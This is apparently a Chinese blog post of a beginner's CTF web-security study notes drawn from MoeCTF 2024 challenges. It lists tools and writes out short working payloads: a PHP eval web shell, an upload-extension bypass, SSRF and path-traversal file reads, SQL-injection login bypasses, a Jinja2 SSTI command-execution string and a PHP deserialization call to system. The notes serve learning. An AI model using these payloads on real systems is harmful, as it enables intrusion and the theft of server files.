# 零基础web学习重要事项

零基础web学习重要事项

安装软件

web方向所学的软件很多,建议边学习边下载

以下是目前安装的软件及作用

  1. vscode 很重要的编译软件
  2. 蚁剑 跨平台渗透软件 目前我只能用它来输入命令
  3. typora 也是我现在编译markdown的软件
  4. burpsuite 抓包软件
  5. VMware Linux的虚拟机配置用
  6. firefox(火狐) 配合burpsuite抓包
  7. phpstudy 创建私有网站的应用
  8. cpolar web ui 将私有网站的私有地址放到公网上
  9. codeblocks 编译的东东
  10. yukit 和burpsuite功能相似
  11. websocket reflector 链接加密网址的
  12. hackbar 运行命令的插件

学习要点

(习题来源于西电ctf中的moectf2024web内容)

常见问题

  1. echo $FLAG表示搜索flag并输出

  2. printevn 表示输出环境,可以在环境中找到flag

  3. /robots.txt 帮助网站控制爬虫行为

  4. <?php eval($_POST[1]);?> 类似于病毒代码,通过POST请求执行任意php代码,直接在对方服务器上执行任意代码

  5. 1=system("evn"); 连着上一行代码看,1是键名,本代码用途是搜索此环境

  6. 若有些时候上传文件是.php格式被禁止可以先改为.jpg格式再在后面用burpsuite抓包并改为.php格式,从而绕过阻碍,直接将恶意文件送达对方服务器后端

  7. url后面怎么有个?url= file:///etc/passwd是使用ssrf攻击获取服务器上文件信息

  8. import requests是发送HTTP POST 的指令的库

  9. JSON一般是键对值的形式

  10. 此为python的脚本代码,response = requests.post(url, json=data)表示对此url传送内容为json的指令 print('Status Code:', response.status_code)为打印返回的HTTP状态 print('Response JSON:', response.json())此为将内容解析为json格式并打印出来,总的内容目的是将此地址的东西执行三百次

    import requests
    
    url = 'http://127.0.0.1:50727/questionnaire'
    
    data = {
        'nickname': 'xiaotian',
        'target': '333',
        'message': 'eeeeeeeeee',
        'user_gender': 'male',
        'target_gender': 'male',
        'anonymous': 'false'
    }
    
    for i in range(300):
        response = requests.post(url, json=data)
        print('Status Code:', response.status_code)
        print('Response JSON:', response.json())
        
    
  11. cookie用于辨别用户身份比如可设置cookie:user=admin

  12. referer表示来源页the source must be https://www.xidian.edu.cn/可以将referer修改为https://www.xidian.edu.cn/这个地址

  13. please use MoeDedicatedBrowser表示代理用户要用这个所以在hackbar的应用为将user-agent改为这个

  14. 若提示要本地登录则修改X-Forwarded-For修改为127.0.0.1

  15. GET the parameter xt=大帅b及在url后面加?xt=大帅b

  16. console.log() 输出,这是 javascript 的命令要从检查里的控制台来看

17

  1. path 值修改为 ../../../tmp/flag 是一种典型的路径遍历攻击尝试,目的是通过操纵文件路径,访问服务器上的敏感文件(如 /tmp/flagtmp表示临时目录

  2. 像这种格式bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0= 是常见的base64格式,需要用python或其他网站进行解密

  3. SQL注入是一种常见的网络安全攻击方式,攻击者通过在输入字段中插入恶意的SQL代码,试图操纵后端数据库执行非授权的操作。

  4. sql注入的单引号的万能密码:1' or '1'='1

  5. 得到pin码后可以通过/console访问控制台,执行各种命令

  6. import os是导入python的内置模块;os.popen('cat flag').read()os.popen('cat ../../../flag').read()来查询flag

  7. sql注入的邮箱密码万能公式123@a.b' || 1=1 #123@a.b' || true #

  8. Flask + Jinja2 的 SSTI 模板注入详细介绍

  9. 什么是 SSTI(服务器端模板注入)?

    SSTI(Server-Side Template Injection)是一种安全漏洞,攻击者通过向应用程序的模板引擎注入恶意代码,从而在服务器端执行任意代码。这种漏洞通常发生在开发者将用户输入直接嵌入到模板中,而没有进行适当的过滤或转义。

  10. 若要求上传id可以这样传输命令
    GET: ?id={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('echo $FLAG').read()}}

php语言专栏

  1. php语言if (isset($a) && isset($b))检查a和b是否都已经设置

  2. php语言if (!is_numeric($a) && !is_numeric($b))表示a和b不能是纯数字

  3. php语言松散比较==可以表示为"0" == 0; "0e123" == 0;

  4. php语言if ($a == 0 && md5($a) == $b[$a])表示a要约等于零,并且a的MD5格式=b列表的第一个字符

  5. class A {
    // 注意 private 属性的序列化哦
    private $evil = "cat /flag";

    // 如何赋值呢
    private $a = "system";
    

    }
    $a = new A();
    echo urlencode(serialize($a));image-20250310092101110

    用这样得到url在以GET的方式上传数据,可得flag(但代码还是看不太懂)

image-20250310091954843
6. . elseif (preg_match('/flag/i', $_GET['moe'])) { echo "flag6: xxx"; }

- **作用**:使用正则表达式 `/flag/i` 匹配 `$_GET['moe']` 的值。

- 行为
  - `/flag/i` 表示忽略大小写的匹配。
  
  - 如果 `$_GET['moe']` 中包含 `flag`(不区分大小写),则输出字符串 `"flag6: xxx"`


posted @ 2025-03-06 00:08  vtrust  阅读(30)  评论(0)    收藏  举报